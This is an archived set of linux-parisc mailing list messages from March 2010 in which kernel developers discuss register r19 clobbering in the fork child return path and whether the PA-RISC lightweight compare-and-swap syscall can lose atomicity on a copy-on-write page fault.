Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2348 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755742Ab0C2Ci5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 22:38:57 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 922724E77; Sun, 28 Mar 2010 22:38:55 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab441003281724h78186fbwa415f7ac046269e2@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2728
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2728>

On Sun, 28 Mar 2010, Carlos O'Donell wrote:

> On Sun, Mar 28, 2010 at 7:59 PM, John David Anglin
> <dave@hiauly1.hia.nrc.ca> wrote:
> >> I know it's easier to debug a static application for these cases, =
so I
> >> think a fixed glibc will help.
> >
> > Yes.
> >
> > It's proving more difficult than I thought to fix the kernel and
> > I'm not sure I understand how this works:
> >
> > =A0 =A0 =A0 =A0LDREG =A0 TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SI=
ZE(%r30), %r1
> > =A0 =A0 =A0 =A0LDREG =A0 TASK_PT_GR19(%r1),%r2
> > =A0 =A0 =A0 =A0b =A0 =A0 =A0 wrapper_exit
> > =A0 =A0 =A0 =A0copy =A0 =A0%r0,%r28
> >
> > It appears the child has to access the parent's pt_regs struct
> > to load the return for the child.
>=20
> I see that copy_process in do_fork will give the child a copy of the
> entire pt_reg structure so it has access to these values anyway?

I got a kernel to boot which shouldn't clobber r19.  Turned out to
be a typo.  This uses PT_SR4 for the kernel return for the child.
Will test with gcc build.

Will try again using the pad0 field later.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Mon, 29 Mar 2010 08:11:44 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <119aab441003290511p6ca7904dxdfc7def8e0777662@mail.gmail.com>
References: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com>
	 <20100328212110.03F224E77@hiauly1.hia.nrc.ca>
	 <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com>
	 <20100328235937.GA5806@hiauly1.hia.nrc.ca>
	 <119aab441003281724h78186fbwa415f7ac046269e2@mail.gmail.com>
	 <20100329023854.GA6633@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269864715 2205 80.91.229.12 (29 Mar 2010 12:11:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Mar 2010 12:11:55 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 29 14:11:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwDoq-0000se-Sd
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Mar 2010 14:11:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752398Ab0C2MLr convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Mar 2010 08:11:47 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:45049 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752385Ab0C2MLr convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Mar 2010 08:11:47 -0400
Original-Received: by wwe15 with SMTP id 15so8194269wwe.19
        for <linux-parisc@vger.kernel.org>; Mon, 29 Mar 2010 05:11:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=AFwo6ePD+Lv6hfkoMf4Zd2OZ6nG4QAT6zGFe4NsXk64=;
        b=IB6dmUU7BVfTIrNz0YzI9hp/oab4jGzEMy+22/3QG+qTEKwDOhUgR2KAgZbK8vxYOu
         VzDTbWNfzPza95mM5M4fg16XakOyv+TY8HJAK7AZqkVtLP1nM/Sz3A0ltpkuvHXrkETQ
         scbn/BwA6CUYyZ05ZN9za5ll6xfq+gS/8WTa0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=WC8rftgSpKMOcx2wk0gg/FTi4X5ooaHQfNZbcSwd4TUMAHMrc3vShRiWs/Vmw1ltVP
         4qIsBmZoQPlRHZORXjnR3FTiYkEf6F4/IduVzW2MkxnHgpckWBS4zxTtkrXsBNx9joMS
         91EK8o39f0ggAFFf6ejudhqpz5BS6Hau2+hgQ=
Original-Received: by 10.216.35.78 with HTTP; Mon, 29 Mar 2010 05:11:44 -0700 (PDT)
In-Reply-To: <20100329023854.GA6633@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: bf373d869c2b1b67
Original-Received: by 10.216.89.209 with SMTP id c59mr2080502wef.181.1269864704700; 
	Mon, 29 Mar 2010 05:11:44 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2729
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2729>

On Sun, Mar 28, 2010 at 10:38 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Sun, 28 Mar 2010, Carlos O'Donell wrote:
>
>> On Sun, Mar 28, 2010 at 7:59 PM, John David Anglin
>> <dave@hiauly1.hia.nrc.ca> wrote:
>> >> I know it's easier to debug a static application for these cases,=
 so I
>> >> think a fixed glibc will help.
>> >
>> > Yes.
>> >
>> > It's proving more difficult than I thought to fix the kernel and
>> > I'm not sure I understand how this works:
>> >
>> > =A0 =A0 =A0 =A0LDREG =A0 TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_S=
IZE(%r30), %r1
>> > =A0 =A0 =A0 =A0LDREG =A0 TASK_PT_GR19(%r1),%r2
>> > =A0 =A0 =A0 =A0b =A0 =A0 =A0 wrapper_exit
>> > =A0 =A0 =A0 =A0copy =A0 =A0%r0,%r28
>> >
>> > It appears the child has to access the parent's pt_regs struct
>> > to load the return for the child.
>>
>> I see that copy_process in do_fork will give the child a copy of the
>> entire pt_reg structure so it has access to these values anyway?
>
> I got a kernel to boot which shouldn't clobber r19. =A0Turned out to
> be a typo. =A0This uses PT_SR4 for the kernel return for the child.
> Will test with gcc build.
>
> Will try again using the pad0 field later.

Sorry, what turned out to be a typo?

I guess any static binary that calls fork/vfork/clone is susceptible
to corruption of r19 in this way.

I don't know how much that effects userspace, since most is shared,
*however* the dynamic linker is technically a static binary :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Mon, 29 Mar 2010 10:02:58 -0400
Organization: nrc.ca
Lines: 34
Approved: news@gmane.org
Message-ID: <20100329140257.GA9394@hiauly1.hia.nrc.ca>
References: <119aab441003281404y7bc37dddw14db435b85704b4f@mail.gmail.com> <20100328212110.03F224E77@hiauly1.hia.nrc.ca> <119aab441003281612j6bf4d910g52f94490824cfd81@mail.gmail.com> <20100328235937.GA5806@hiauly1.hia.nrc.ca> <119aab441003281724h78186fbwa415f7ac046269e2@mail.gmail.com> <20100329023854.GA6633@hiauly1.hia.nrc.ca> <119aab441003290511p6ca7904dxdfc7def8e0777662@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269871387 28351 80.91.229.12 (29 Mar 2010 14:03:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Mar 2010 14:03:07 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 29 16:03:02 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwFYU-0003y0-4o
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Mar 2010 16:03:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752347Ab0C2ODB convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Mar 2010 10:03:01 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2391 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752194Ab0C2ODA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Mar 2010 10:03:00 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E03AD505C; Mon, 29 Mar 2010 10:02:58 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab441003290511p6ca7904dxdfc7def8e0777662@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2730
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2730>

On Mon, 29 Mar 2010, Carlos O'Donell wrote:

> > I got a kernel to boot which shouldn't clobber r19. =A0Turned out t=
o
> > be a typo. =A0This uses PT_SR4 for the kernel return for the child.
> > Will test with gcc build.
> >
> > Will try again using the pad0 field later.
>=20
> Sorry, what turned out to be a typo?

I used PT_SR4 instead of TASK_PT_SR4 in child_return ;(

> I guess any static binary that calls fork/vfork/clone is susceptible
> to corruption of r19 in this way.
>=20
> I don't know how much that effects userspace, since most is shared,
> *however* the dynamic linker is technically a static binary :-)

The change may not fix much, but there's no technical reason that
the kernel needs to clobber r19.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: CAS (lws_compare_and_swap32)
Date: Mon, 29 Mar 2010 15:31:55 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>
References: <4BB0B2C8.8000302@fsij.org>
	 <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269891124 12697 80.91.229.12 (29 Mar 2010 19:32:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Mar 2010 19:32:04 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
To: NIIBE Yutaka <gniibe@fsij.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 29 21:31:59 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwKgo-00055H-VG
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Mar 2010 21:31:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752985Ab0C2Tb6 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Mar 2010 15:31:58 -0400
Original-Received: from mail-ew0-f220.google.com ([209.85.219.220]:42915 "EHLO
	mail-ew0-f220.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752489Ab0C2Tb5 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Mar 2010 15:31:57 -0400
Original-Received: by ewy20 with SMTP id 20so833460ewy.1
        for <linux-parisc@vger.kernel.org>; Mon, 29 Mar 2010 12:31:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=Wwp5z7iyGiMt4+iLjGboVqTf8H0ZOn2XwVZtGDH4l2w=;
        b=LRZVxYT0BO4nRi3bYpj3RU061aDU7uTBFqn47RQI4KymKG1IW7lrfOmEOcANcxVoH+
         2NwSkEITjbtY74vvzK/Xa5w4yZNHKOLB+wYnrLmhnjpFm7T1RwVYIDgUwtA9dArGasJC
         jsX6i+e0V3gJDOougqpMG1cxJke4gyU9m3MGM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=HtStWNpQKDIVKUruRhRjdKmiZywHzNPVt9OdeCUp3PiSHX+86f7tjcd0lvdnY0n8zP
         EsUZhEwRuzLq+A/feBZiJp2JSAG3PUQ7MDDe35ua3IMucSSNe++SgYbijrKDxiTurOQP
         HrUkfUu9TI2n/KlKS9AX6SvuEJGbKDuViF4Iw=
Original-Received: by 10.216.35.78 with HTTP; Mon, 29 Mar 2010 12:31:55 -0700 (PDT)
In-Reply-To: <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com>
X-Google-Sender-Auth: 475f00358db51881
Original-Received: by 10.216.86.16 with SMTP id v16mr164891wee.162.1269891115311; Mon, 
	29 Mar 2010 12:31:55 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2731 gmane.linux.debian.ports.hppa:6328
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2731>

On Mon, Mar 29, 2010 at 12:13 PM, Carlos O'Donell
<carlos@systemhalted.org> wrote:
> 2010/3/29 NIIBE Yutaka <gniibe@fsij.org>:
>> I am currently investigating FTBFS of gauche (a scheme interpreter) =
on
>> hppa. =A0My knowledge of hppa is quite limited, though. =A0I am not =
on
>> this list. =A0Please send Cc: to me.
>>
>> I have a question of CAS implementation. =A0I assume uni processor
>> system.
>>
>> I am looking at:
>> =A0 =A0 =A0 =A0linux-source-2.6.30/arch/parisc/kernel/syscall.S
>>
>> ----------------
>> =A0 =A0 =A0 =A0/*
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0prev =3D *addr;
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if ( prev =3D=3D old )
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0*addr =3D new;
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0return prev;
>> =A0 =A0 =A0 =A0*/
>> [...]
>> cas_action:
>> [...]
>> =A0 =A0 =A0 =A0/* The load and store could fail */
>> 1: =A0 =A0 =A0ldw =A0 =A0 0(%sr3,%r26), %r28
>> =A0 =A0 =A0 =A0sub,<> =A0%r28, %r25, %r0
>> 2: =A0 =A0 =A0stw =A0 =A0 %r24, 0(%sr3,%r26)
>> ----------------
>>
>> Suppose that <addr> points to copy-on-write memory. =A0At the label =
2,
>> storing data to <addr> will invoke memory trap and it will go to
>> do_page_fault() to get new memory. =A0In this scenario, is there a
>> possibility for the process to be scheduled off?
>>
>> Call chain in question is:
>> =A0 =A0 =A0 =A0do_page_fault()
>> =A0 =A0 =A0 =A0 =A0->..-> do_wp_page()
>> =A0 =A0 =A0 =A0 =A0 =A0->..-> __alloc_pages_internal() with GFP_HIGH=
USER_MOVABLE
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0->..> schedule()
>>
>> linux/gfp.h has the definition:
>> #define GFP_HIGHUSER_MOVABLE =A0 =A0(__GFP_WAIT | __GFP_IO | __GFP_F=
S | \
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 __GF=
P_HARDWALL | __GFP_HIGHMEM | \
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 __GF=
P_MOVABLE)
>
> I wrote the LWS CAS implementation.
>
> At the time I wrote it I tried to verify that the process calling the
> CAS could never sleep, since this would make it non-atomic.
>
> There are checks in entry.S to prevent return code-paths from
> scheduling or delivering signals if the process was executing on the
> gateway page.
>
> If we are certain that the above could happen, then a possible soluti=
on is:
> * Enable locks for SMP and UP.
> * If lock is taken for your addresss, return to userspace with EAGAIN=
=2E
> * Userspace yields on EAGAIN and then tries again (we can't use
> FUTEX_WAIT/FUTEX_WAKE on a global process unique variable because LWS
> CAS is expected to work on shmem).
>
> Do we really think the above can happen?

I have CC'd the linux-parisc kernel list.

Kyle,

Do you think the above scenario is possible?

When trying to LWS CAS on a page that is COW, the copy process could
sleep, and thus CAS is non-atomic.

What do you think about the solution I propose?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: CAS (lws_compare_and_swap32)
Date: Mon, 29 Mar 2010 16:07:05 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20100329200705.GE20286@bombadil.infradead.org>
References: <4BB0B2C8.8000302@fsij.org> <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com> <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1269893243 21447 80.91.229.12 (29 Mar 2010 20:07:23 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 29 Mar 2010 20:07:23 +0000 (UTC)
Cc: NIIBE Yutaka <gniibe@fsij.org>, debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 29 22:07:18 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwLF0-0003tO-1f
	for glpp-linux-parisc@lo.gmane.org; Mon, 29 Mar 2010 22:07:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752351Ab0C2UHR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Mar 2010 16:07:17 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:34491 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751631Ab0C2UHQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Mar 2010 16:07:16 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NwLEn-0008C3-KJ; Mon, 29 Mar 2010 20:07:05 +0000
Content-Disposition: inline
In-Reply-To: <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2732 gmane.linux.debian.ports.hppa:6329
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2732>

On Mon, Mar 29, 2010 at 03:31:55PM -0400, Carlos O'Donell wrote:
>

Can you bounce me the whole thread, please?

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: CAS (lws_compare_and_swap32)
Date: Mon, 29 Mar 2010 21:54:56 -0400
Organization: nrc.ca
Lines: 58
Approved: news@gmane.org
Message-ID: <20100330015455.GA13505@hiauly1.hia.nrc.ca>
References: <4BB0B2C8.8000302@fsij.org> <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com> <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269914126 22020 80.91.229.12 (30 Mar 2010 01:55:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 30 Mar 2010 01:55:26 +0000 (UTC)
Cc: NIIBE Yutaka <gniibe@fsij.org>, debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 30 03:55:19 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NwQfn-0002wA-06
	for glpp-linux-parisc@lo.gmane.org; Tue, 30 Mar 2010 03:55:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754921Ab0C3BzR convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Mar 2010 21:55:17 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2472 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754700Ab0C3BzR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Mar 2010 21:55:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 53FD5513F; Mon, 29 Mar 2010 21:54:57 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2733 gmane.linux.debian.ports.hppa:6330
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2733>

On Mon, 29 Mar 2010, Carlos O'Donell wrote:

> >> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0prev =3D *addr;
> >> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0if ( prev =3D=3D old )
> >> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0*addr =3D new;
> >> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0return prev;
> >> =A0 =A0 =A0 =A0*/
> >> [...]
> >> cas_action:
> >> [...]
> >> =A0 =A0 =A0 =A0/* The load and store could fail */
> >> 1: =A0 =A0 =A0ldw =A0 =A0 0(%sr3,%r26), %r28
> >> =A0 =A0 =A0 =A0sub,<> =A0%r28, %r25, %r0
> >> 2: =A0 =A0 =A0stw =A0 =A0 %r24, 0(%sr3,%r26)
> >> ----------------
> >>
> >> Suppose that <addr> points to copy-on-write memory. =A0At the labe=
l 2,
> >> storing data to <addr> will invoke memory trap and it will go to
> >> do_page_fault() to get new memory. =A0In this scenario, is there a
> >> possibility for the process to be scheduled off?

> > At the time I wrote it I tried to verify that the process calling t=
he
> > CAS could never sleep, since this would make it non-atomic.
> >
> > There are checks in entry.S to prevent return code-paths from
> > scheduling or delivering signals if the process was executing on th=
e
> > gateway page.
> >
> > If we are certain that the above could happen, then a possible solu=
tion is:
> > * Enable locks for SMP and UP.
> > * If lock is taken for your addresss, return to userspace with EAGA=
IN.
> > * Userspace yields on EAGAIN and then tries again (we can't use
> > FUTEX_WAIT/FUTEX_WAKE on a global process unique variable because L=
WS
> > CAS is expected to work on shmem).

I think the solution may be to proceed the CAS sequence with a probe,w
instruction.  This will trigger a non-access TLB miss fault/non-access
data page fault if its going to happen.  There is a FIXME for case 17
in handle_interruption about this.

Dave
--=20
J. David Anglin                                  dave.anglin@nrc-cnrc.g=
c.ca
National Research Council of Canada              (613) 990-0752 (FAX: 9=
52-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: CAS (lws_compare_and_swap32)
Date: Mon, 29 Mar 2010 22:18:57 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <119aab441003291918j2e7a17d8of7ee957876a549ab@mail.gmail.com>
References: <4BB0B2C8.8000302@fsij.org>
	 <119aab441003290913x6cb925b9v66b44a14c31393cb@mail.gmail.com>
	 <119aab441003291231j320e6637g87c201f75ee61faf@mail.gmail.com>
